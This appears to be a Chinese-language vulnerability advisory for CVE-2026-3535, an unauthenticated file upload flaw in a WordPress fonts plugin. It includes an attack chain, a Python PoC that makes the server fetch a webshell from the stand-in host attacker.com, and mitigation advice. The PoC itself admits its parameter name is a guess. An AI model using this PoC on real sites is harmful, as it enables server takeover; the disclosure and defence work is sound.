IPBUF安全漏洞报告
English
CVE-2026-3535 CVSS 9.8 严重

CVE-2026-3535 WordPress插件任意文件上传漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-3535
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
DSGVO Google Web Fonts GDPR

相关标签

WordPressRCEArbitrary File UploadUnauthenticatedCVE-2026-3535

漏洞概述

WordPress插件DSGVO Google Web Fonts GDPR在1.1及之前版本中存在严重的任意文件上传漏洞。由于`DSGVOGWPdownloadGoogleFonts()`函数缺少文件类型验证,未经身份验证的攻击者可通过特定的AJAX接口上传恶意文件(如PHP Webshell),从而在服务器上执行任意代码。该漏洞要求网站使用特定主题才能被利用,但其高危害性仍需引起高度重视。

技术细节

漏洞核心在于插件`DSGVOGWPdownloadGoogleFonts()`函数在处理文件下载时存在逻辑缺陷。该函数通过`wp_ajax_nopriv_`注册,允许未认证用户访问。它接收用户提供的CSS文件URL,从中提取资源链接并直接下载至公开目录,且未对文件类型或扩展名进行任何校验。攻击者可诱导服务器下载包含恶意代码的PHP文件。虽然利用此漏洞需要目标网站使用twentyfifteen、twentyseventeen、twentysixteen、storefront、salient或shapely等特定主题之一,但在满足条件时,攻击者可轻易获取服务器权限,植入Webshell并完全控制受影响的WordPress站点。

攻击链分析

STEP 1
侦察
攻击者扫描目标WordPress站点,确认是否安装了DSGVO Google Web Fonts GDPR插件(版本<=1.1),并检查是否使用了特定主题(如twentyfifteen等)。
STEP 2
准备资源
攻击者准备一个恶意CSS文件,其中包含指向PHP Webshell的URL(例如通过@font-face规则),并将其托管在可控服务器上。
STEP 3
触发漏洞
攻击者向目标站点的/wp-admin/admin-ajax.php发送未认证的POST请求,调用DSGVOGWPdownloadGoogleFonts动作,传入恶意CSS文件的URL。
STEP 4
文件上传
插件解析CSS文件,提取其中的Webshell URL,并将其下载到服务器上公开可访问的目录(如wp-content/uploads/dsgvo-fonts/),且未更改文件后缀。
STEP 5
执行代码
攻击者访问上传的PHP文件路径,在服务器上执行任意代码,获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com" attacker_css_url = "http://attacker.com/exploit.css" # The exploit chain: # 1. Attacker hosts a CSS file containing: @font-face { src: url('http://attacker.com/shell.php'); } # 2. Send a request to the vulnerable endpoint to force the server to fetch and save the shell. endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload based on the vulnerable function DSGVOGWPdownloadGoogleFonts # Note: The parameter name might vary, 'cssUrl' is used as a logical guess based on the description. payload = { "action": "DSGVOGWPdownloadGoogleFonts", "cssUrl": attacker_css_url } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Check your shell at: {target_url}/wp-content/uploads/dsgvo-fonts/shell.php") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

DSGVO Google Web Fonts GDPR <= 1.1

防御指南

临时缓解措施
建议立即检查并更新该插件。若无法立即更新,应暂时禁用插件,并通过服务器配置(如.htaccess或nginx.conf)禁止在wp-content/uploads目录下执行PHP脚本,以防止上传的Webshell被运行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表